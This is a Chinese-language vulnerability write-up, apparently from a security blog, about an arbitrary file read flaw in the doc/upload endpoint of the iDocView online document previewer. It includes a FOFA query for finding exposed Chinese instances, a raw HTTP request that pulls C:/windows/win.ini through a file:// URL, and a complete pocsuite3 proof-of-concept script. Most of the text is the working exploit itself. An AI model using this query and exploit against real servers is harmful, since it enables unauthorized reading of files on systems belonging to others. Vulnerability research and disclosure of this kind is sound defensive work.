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漏洞描述

此在线文档预览系统是一套用于在Web环境中展示和预览各种文档类型的系统，如文本文档、电子表格、演示文稿、PDF文件等。此系统doc/upload接口存在任意文件读取漏洞。

fofa语句

title="I Doc View" && country="CN"

poc加检测

GET /doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=r.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

返回srcUrl，拼接url

poc脚本

脚本用的pocsuite框架

# _*_ coding:utf-8 _*_
# @Time : 2023/12/18
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str

class idocview_docupload_fileread(POCBase):
    pocDesc = '''iDocview_doc/upload接口存在任意文件读取漏洞'''
    author = '炼金术师诸葛亮'
    createDate = '2023-12-18'
    name = 'iDocview_doc/upload接口存在任意文件读取漏洞'



    def _verify(self):

        result = {}
        url = self.url+ '/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=rand.txt'

        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
        }

        try:


            response = requests.get(url, headers=headers)
            if response.status_code == 200 and 'srcUrl' in response.text:
                response_json = response.json()
                filepath = response_json.get('srcUrl')
                if filepath:
                    check_path = self.url + filepath
                    check_response = requests.get(check_path, headers=headers, verify=False)
                    if check_response.status_code == 200:
                        result['VerifyInfo'] = {}



            return self.parse_output(result)
        except Exception as e:
            pass

register_poc(idocview_docupload_fileread)

脚本利用